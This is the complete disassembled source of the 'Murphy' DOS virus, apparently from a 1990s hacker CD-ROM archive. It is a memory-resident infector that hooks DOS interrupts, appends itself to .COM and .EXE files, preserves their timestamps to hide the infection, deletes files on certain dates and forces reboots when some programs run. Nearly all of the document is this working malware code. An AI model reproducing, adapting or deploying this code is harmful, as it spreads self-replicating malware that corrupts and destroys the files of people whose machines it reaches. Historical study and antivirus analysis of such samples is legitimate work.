home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacker 2
/
HACKER2.mdf
/
virus
/
murphy.asm
< prev
next >
Wrap
Assembly Source File
|
1995-01-03
|
16KB
|
672 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ MURPHY ██
;██ ██
;██ Created: 4-Mar-91 ██
;██ Version: ██
;██ Passes: 5 Analysis Options on: H ██
;██ ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_1e equ 4Ch ; (0000:004C=74h)
data_3e equ 84h ; (0000:0084=0EBh)
data_5e equ 90h ; (0000:0090=56h)
data_7e equ 102h ; (0000:0102=0F000h)
data_8e equ 106h ; (0000:0106=0F000h)
data_9e equ 47Bh ; (0000:047B=14h)
data_10e equ 0 ; (4098:0000=0FFh)
data_11e equ 1 ; (4099:0001=0FFFFh)
data_12e equ 2 ; (40EB:0002=0FFFFh)
data_13e equ 6 ; (40EB:0006=0FFFFh)
data_31e equ 0FC99h ; (7415:FC99=0)
data_32e equ 0FC9Bh ; (7415:FC9B=0)
data_33e equ 0FCB7h ; (7415:FCB7=0)
data_34e equ 0FCB9h ; (7415:FCB9=0)
data_35e equ 0FCBBh ; (7415:FCBB=0)
data_36e equ 0FCC5h ; (7415:FCC5=0)
data_37e equ 0FCC7h ; (7415:FCC7=0)
data_38e equ 0FCCDh ; (7415:FCCD=0)
data_39e equ 0FCCFh ; (7415:FCCF=0)
data_40e equ 0 ; (F000:0000=0AA55h)
data_41e equ 2 ; (F000:0002=40h)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
murphy proc far
start:
jmp loc_28 ; (0466)
db 0C3h
db 23 dup (0C3h)
db 2Ah, 2Eh, 45h, 58h, 45h, 0
data_17 dw 0C3C3h
data_18 dw 0C3C3h
data_19 db 0, 0
data_20 dw 0
data_21 dw 0
data_22 dw 0
data_23 dw 7415h
data_24 dd 00000h
data_25 dw 0
data_26 dw 7415h
data_27 dd 00000h
data_28 dw 0
data_29 dw 7415h
db 0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
db 'ta Swami Prabhupada (1896-1977)', 0Ah
db 0Dh, 0Ah, 0Dh, '$'
db '=MKu', 9, 'U'
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
db 3Dh, 0, 6Ch, 75h, 5, 80h
db 0FBh, 0, 74h, 3, 0E9h, 0BEh
db 0, 6, 1Eh, 57h, 56h, 55h
db 52h, 51h, 53h, 50h, 0E8h, 48h
db 2, 0E8h, 82h, 2, 3Dh, 0
db 6Ch, 75h, 2, 8Bh, 0D6h
loc_1:
mov cx,80h
mov si,dx
locloop_2:
inc si
mov al,[si]
or al,al ; Zero ?
loopnz locloop_2 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],4D4Fh
je loc_5 ; Jump if equal
cmp word ptr [si],4558h
je loc_4 ; Jump if equal
loc_3:
jmp short loc_12 ; (024A)
db 90h
loc_4:
cmp word ptr [si-4],4E41h
je loc_6 ; Jump if equal
cmp word ptr [si-4],444Ch
je loc_6 ; Jump if equal
cmp word ptr [si-4],4A52h
je loc_6 ; Jump if equal
jnz loc_7 ; Jump if not zero
loc_5:
cmp word ptr [si-4],444Eh
je loc_3 ; Jump if equal
jnz loc_8 ; Jump if not zero
loc_6:
int 19h ; Bootstrap loader
loc_7:
jz loc_8 ; Jump if zero
loc_8:
mov ax,3D02h
call sub_5 ; (03E5)
jc loc_12 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_5 ; (03E5)
mov cs:data_20,cx ; (7415:0127=0)
mov cs:data_21,dx ; (7415:0129=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03E5)
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_5 ; (03E5)
jc loc_10 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_9 ; Jump if not equal
call sub_1 ; (025B)
jmp short loc_10 ; (0233)
loc_9:
call sub_4 ; (036B)
loc_10:
jc loc_11 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_20 ; (7415:0127=0)
mov dx,cs:data_21 ; (7415:0129=0)
call sub_5 ; (03E5)
loc_11:
mov ah,3Eh ; '>'
call sub_5 ; (03E5)
loc_12:
call sub_7 ; (0429)
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_13:
jmp cs:data_24 ; (7415:012F=0)
murphy endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_1 proc near
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp dh,4
je loc_14 ; Jump if equal
jnz loc_15 ; Jump if not zero
loc_14:
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp dl,0Fh
je loc_16 ; Jump if equal
jnz loc_15 ; Jump if not zero
loc_15:
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03E5)
cmp dx,0
jne loc_17 ; Jump if not equal
cmp ax,4E2h
jae loc_17 ; Jump if above or =
pop ax
pop dx
stc ; Set carry flag
retn
loc_16:
mov dx,10h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov dx,11Bh
mov cx,110Bh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov dx,2Eh
mov ax,3D02h
int 15h ; General services, ah=func 3Dh
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
jmp loc_23 ; (0395)
db 0BAh, 3Fh, 1, 0B4h, 9, 0CDh
db 21h, 0EBh, 1, 90h
loc_17:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_20 ; Jump if equal
cmp dx,0
jne loc_18 ; Jump if not equal
cmp ax,4E2h
jne loc_18 ; Jump if not equal
stc ; Set carry flag
retn
loc_18:
mov dx,bp
mov ax,di
push dx
push ax
add ax,4E2h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
les di,dword ptr [si+2] ; Load 32 bit ptr
mov cs:data_22,di ; (7415:012B=0)
mov cs:data_23,es ; (7415:012D=7415h)
mov [si+2],dx
cmp dx,0
je loc_19 ; Jump if equal
inc ax
loc_19:
mov [si+4],ax
pop ax
pop dx
call sub_2 ; (034C)
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_17,di ; (7415:0121=0C3C3h)
mov data_18,es ; (7415:0123=0C3C3h)
mov [si+14h],dx
mov [si+16h],ax
mov word ptr data_19,ax ; (7415:0125=0)
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03E5)
call sub_3 ; (035D)
jc loc_ret_20 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03E5)
mov ah,40h ; '@'
mov dx,si
mov cx,18h
call sub_5 ; (03E5)
loc_ret_20:
retn
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_2:
mov cx,4
mov di,ax
and di,0Fh
locloop_21:
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
loop locloop_21 ; Loop if cx > 0
mov dx,di
retn
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_3:
mov ah,40h ; '@'
mov cx,4E2h
mov dx,100h
call sub_6 ; (03EC)
jmp short loc_27 ; (03E5)
db 90h
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_4:
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp al,6
je loc_22 ; Jump if equal
jnz loc_23 ; Jump if not zero
loc_22:
mov dx,10h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov dx,11Bh
mov cx,110Bh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov dx,2Eh
mov ax,3D02h
int 15h ; General services, ah=func 3Dh
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
jmp short loc_23 ; (0395)
db 90h
loc_23:
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03E5)
cmp ax,4E2h
jb loc_ret_26 ; Jump if below
cmp ax,0FA00h
jae loc_ret_26 ; Jump if above or =
push ax
cmp byte ptr [si],0E9h
jne loc_24 ; Jump if not equal
sub ax,4E5h
cmp ax,[si+1]
jne loc_24 ; Jump if not equal
pop ax
stc ; Set carry flag
retn
loc_24:
call sub_3 ; (035D)
jnc loc_25 ; Jump if carry=0
pop ax
retn
loc_25:
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03E5)
pop ax
sub ax,3
mov dx,121h
mov si,dx
mov byte ptr cs:[si],0E9h
mov cs:[si+1],ax
mov ah,40h ; '@'
mov cx,3
call sub_5 ; (03E5)
loc_ret_26:
retn
sub_1 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_5 proc near
loc_27:
pushf ; Push flags
call cs:data_24 ; (7415:012F=0)
retn
sub_5 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_6 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr ds:data_5e ; (0000:0090=156h) Load 32 bit ptr
mov cs:data_25,ax ; (7415:0133=0)
mov cs:data_26,es ; (7415:0135=7415h)
mov ax,44Eh
mov ds:data_5e,ax ; (0000:0090=156h)
mov word ptr ds:data_5e+2,cs ; (0000:0092=124Ch)
les ax,dword ptr ds:data_1e ; (0000:004C=774h) Load 32 bit ptr
mov cs:data_28,ax ; (7415:013B=0)
mov cs:data_29,es ; (7415:013D=7415h)
les ax,cs:data_27 ; (7415:0137=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=774h)
mov word ptr ds:data_1e+2,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
retn
sub_6 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_7 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_25 ; (7415:0133=0) Load 32 bit ptr
mov ds:data_5e,ax ; (0000:0090=156h)
mov word ptr ds:data_5e+2,es ; (0000:0092=124Ch)
les ax,dword ptr cs:data_28 ; (7415:013B=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=774h)
mov word ptr ds:data_1e+2,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
retn
sub_7 endp
db 0B0h, 3, 0CFh
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_8 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
retn
sub_8 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_9 proc near
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
xor bp,bp ; Zero register
retn
sub_9 endp
loc_28:
push ds
call sub_10 ; (046A)
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_10 proc near
mov ax,4B4Dh
nop
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_29 ; Jump if carry Set
jmp loc_39 ; (059C)
loc_29:
pop si
push si
nop
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=774h) Load 32 bit ptr
mov cs:data_38e[si],ax ; (7415:FCCD=0)
mov cs:data_39e[si],es ; (7415:FCCF=0)
les bx,dword ptr ds:data_3e ; (0000:0084=40EBh) Load 32 bit ptr
mov cs:data_36e[di],bx ; (7415:FCC5=0)
mov cs:data_37e[di],es ; (7415:FCC7=0)
mov ax,ds:data_7e ; (0000:0102=0F000h)
cmp ax,0F000h
jne loc_37 ; Jump if not equal
mov dl,80h
mov ax,ds:data_8e ; (0000:0106=0F000h)
cmp ax,0F000h
je loc_30 ; Jump if equal
cmp ah,0C8h
jb loc_37 ; Jump if below
cmp ah,0F4h
jae loc_37 ; Jump if above or =
test al,7Fh
jnz loc_37 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_40e,0AA55h ; (F000:0000=0AA55h)
jne loc_37 ; Jump if not equal
mov dl,ds:data_41e ; (F000:0002=40h)
loc_30:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_31:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_32 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_33 ; Jump if equal
jnz loc_34 ; Jump if not zero
loc_32:
cmp ax,0C2F6h
jne loc_35 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_34 ; Jump if not equal
loc_33:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_36 ; Jump if equal
sub si,3
loc_34:
dec si
dec si
loc_35:
dec si
loop locloop_31 ; Loop if cx > 0
jmp short loc_37 ; (050B)
loc_36:
sub si,7
mov cs:data_38e[di],si ; (7415:FCCD=0)
mov cs:data_39e[di],ds ; (7415:FCCF=0)
loc_37:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,50h
nop
jc loc_39 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,4Fh
stc ; Set carry flag
sbb es:data_12e,bx ; (40EB:0002=0FFFFh)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_11e,8 ; (4099:0001=0FFFFh)
call sub_8 ; (0451)
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_8 ; (0451)
add ax,ds:data_13e ; (40EB:0006=0FFFFh)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_38 ; Jump if carry Set
sub ds:data_13e,ax ; (40EB:0006=0FFFFh)
loc_38:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,36Ah
mov cx,4E2h
inc cx
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_10e,5Ah ; (4098:0000=0FFh) 'Z'
mov dx,173h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_3e,dx ; (0000:0084=40EBh)
mov word ptr ds:data_3e+2,es ; (0000:0086=11h)
sti ; Enable interrupts
dec byte ptr ds:data_9e ; (0000:047B=14h)
loc_39:
pop si
cmp word ptr cs:data_31e[si],5A4Dh ; (7415:FC99=0)
jne loc_40 ; Jump if not equal
pop ds
mov ax,cs:data_35e[si] ; (7415:FCBB=0)
mov bx,cs:data_34e[si] ; (7415:FCB9=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_33e[si] ; (7415:FCB7=0)
push ds
pop es
call sub_9 ; (0457)
retf ; Return far
loc_40:
pop ax
mov ax,cs:data_31e[si] ; (7415:FC99=0)
mov word ptr cs:[100h],ax ; (7415:0100=63E9h)
mov ax,cs:data_32e[si] ; (7415:FC9B=0)
mov word ptr cs:[102h],ax ; (7415:0102=0C303h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_9 ; (0457)
retn
sub_10 endp
seg_a ends
end start
Downloaded From P-80 International Information Systems 304-744-2253